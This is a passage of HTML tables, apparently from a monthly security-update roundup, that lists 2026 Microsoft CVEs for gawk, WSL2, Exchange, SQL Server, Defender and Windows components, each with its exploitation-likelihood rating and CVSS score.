vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40553">CVE-2026-40553</a></td><td><p>Stack-based buffer overflow in gawk</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40469">CVE-2026-40469</a></td><td><p>Heap buffer overflow in gawk</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40468">CVE-2026-40468</a></td><td><p>Heap buffer overflow in gawk</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40467">CVE-2026-40467</a></td><td><p>Use after free in gawk</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57968">CVE-2026-57968</a></td><td><p>Windows Subsystem for Linux (WSL2) Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57973">CVE-2026-57973</a></td><td><p>Windows Subsystem for Linux (WSL2) Kernel Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.3</p></td></tr></tbody></table><h3>Other vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50663">CVE-2026-50663</a></td><td><p>Game: Age of Empires II: Definitive Edition Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50510">CVE-2026-50510</a></td><td><p>GitHub Copilot Remote Code Execution Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55010">CVE-2026-55010</a></td><td><p>Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55145">CVE-2026-55145</a></td><td><p>Outlook Copilot Tampering Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>6.3</p></td></tr></tbody></table><h3>Server Software vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55006">CVE-2026-55006</a></td><td><p>Microsoft Exchange Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55009">CVE-2026-55009</a></td><td><p>Microsoft Exchange Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55005">CVE-2026-55005</a></td><td><p>Microsoft Exchange Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55008">CVE-2026-55008</a></td><td><p>Microsoft Exchange Server Spoofing Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr></tbody></table><h3>SQL Server vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56642">CVE-2026-56642</a></td><td><p>Microsoft Fabric Data Warehouse Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58647">CVE-2026-58647</a></td><td><p>Microsoft PowerBI Report Server Spoofing Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47296">CVE-2026-47296</a></td><td><p>Microsoft SQL Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55002">CVE-2026-55002</a></td><td><p>Microsoft SQL Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47295">CVE-2026-47295</a></td><td><p>Microsoft SQL Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50468">CVE-2026-50468</a></td><td><p>Microsoft SQL Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54116">CVE-2026-54116</a></td><td><p>Microsoft SQL Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54117">CVE-2026-54117</a></td><td><p>Microsoft SQL Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54118">CVE-2026-54118</a></td><td><p>Microsoft SQL Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr></tbody></table><h3>System Center vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50658">CVE-2026-50658</a></td><td><p>Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56178">CVE-2026-56178</a></td><td><p>Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50657">CVE-2026-50657</a></td><td><p>Microsoft Defender for Endpoint for Mac Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55011">CVE-2026-55011</a></td><td><p>Microsoft Defender Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55012">CVE-2026-55012</a></td><td><p>Microsoft Defender Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><p></p><p></p><h3>Windows vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54121">CVE-2026-54121</a></td><td><p>Active Directory Certificate Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50682">CVE-2026-50682</a></td><td><p>Active Directory Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55001">CVE-2026-55001</a></td><td><p>Active Directory Domain Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50647">CVE-2026-50647</a></td><td><p>Active Directory Federation Server Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50684">CVE-2026-50684</a></td><td><p>Active Directory Federation Server Spoofing Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>4.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56155">CVE-2026-56155</a></td><td><p>Active Directory Federation Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Detected</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50488">CVE-2026-50488</a></td><td><p>Clipboard User Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50491">CVE-2026-50491</a></td><td><p>Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50381">CVE-2026-50381</a></td><td><p>Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50427">CVE-2026-50427</a></td><td><p>Content Delivery Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50692">CVE-2026-50692</a></td><td><p>Desktop Window Manager Elevation of Privilege Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58633">CVE-2026-58633</a></td><td><p>Desktop Window Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58634">CVE-2026-58634</a></td><td><p>Desktop Window Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48564">CVE-2026-48564</a></td><td><p>DHCP Server Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50370">CVE-2026-50370</a></td><td><p>DHCP Server Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56159">CVE-2026-56159</a></td><td><p>DHCP Server Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50296">CVE-2026-50296</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50375">CVE-2026-50375</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>6.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50353">CVE-2026-50353</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50493">CVE-2026-50493</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56643">CVE-2026-56643</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56644">CVE-2026-56644</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58629">CVE-2026-58629</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50382">CVE-2026-50382</a></td><td><p>DirectX Graphics Kernel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49174">CVE-2026-49174</a></td><td><p>DNS Client Tampering Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50495">CVE-2026-50495</a></td><td><p>DNS Client Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57088">CVE-2026-57088</a></td><td><p>Extensible Storage Engine (ESENT) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49787">CVE-2026-49787</a></td><td><p>HTTP.sys Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50420">CVE-2026-50420</a></td><td><p>HTTP.sys Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49788">CVE-2026-49788</a></td><td><p>HTTP/2 Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50696">CVE-2026-50696</a></td><td><p>Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49162">CVE-2026-49162</a></td><td><p>Microsoft Brokering File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50305">CVE-2026-50305</a></td><td><p>Microsoft Brokering File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50361">CVE-2026-50361</a></td><td><p>Microsoft Brokering File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50466">CVE-2026-50466</a></td><td><p>Microsoft Brokering File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50458">CVE-2026-50458</a></td><td><p>Microsoft Brokering File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50329">CVE-2026-50329</a></td><td><p>Microsoft DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58541">CVE-2026-58541</a></td><td><p>Microsoft DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50343">CVE-2026-50343</a></td><td><p>Microsoft Install Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54992">CVE-2026-54992</a></td><td><p>Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50439">CVE-2026-50439</a></td><td><p>Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58537">CVE-2026-58537</a></td><td><p>Microsoft NAT Helper Components (ipnathlp.dll) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42900">CVE-2026-42900</a></td><td><p>Microsoft Windows App Store Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49784">CVE-2026-49784</a></td><td><p>Microsoft Windows App Store Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50356">CVE-2026-50356</a></td><td><p>Microsoft Windows App Store Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49165">CVE-2026-49165</a></td><td><p>Microsoft Windows App Store Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54993">CVE-2026-54993</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58610">CVE-2026-58610</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50655">CVE-2026-50655</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56189">CVE-2026-56189</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57090">CVE-2026-57090</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57094">CVE-2026-57094</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57087">CVE-2026-57087</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57092">CVE-2026-57092</a></td><td><p>Microsoft Windows VMSwitch Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50359">CVE-2026-50359</a></td><td><p>Microsoft XML Core Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57097">CVE-2026-57097</a></td><td><p>Microsoft XML Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50346">CVE-2026-50346</a></td><td><p>Netlogon RPC Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50402">CVE-2026-50402</a></td><td><p>NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54989">CVE-2026-54989</a></td><td><p>Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50365">CVE-2026-50365</a></td><td><p>Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54990">CVE-2026-54990</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50474">CVE-2026-50474</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58594">CVE-2026-58594</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56190">CVE-2026-56190</a></td><td><p>Remote Desktop Protocol Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49783">CVE-2026-49783</a></td><td><p>Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42990">CVE-2026-42990</a></td><td><p>SQL Server ODBC driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49168">CVE-2026-49168</a></td><td><p>Storage Spaces Direct Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49180">CVE-2026-49180</a></td><td><p>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50455">CVE-2026-50455</a></td><td><p>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54111">CVE-2026-54111</a></td><td><p>Universal Print Management Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58543">CVE-2026-58543</a></td><td><p>Universal Print Management Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58601">CVE-2026-58601</a></td><td><p>Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49805">CVE-2026-49805</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50297">CVE-2026-50297</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50325">CVE-2026-50325</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50489">CVE-2026-50489</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57095">CVE-2026-57095</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50416">CVE-2026-50416</a></td><td><p>Win32k Information Disclosure Vulnerability</p></td><td><p>Exploitation Less 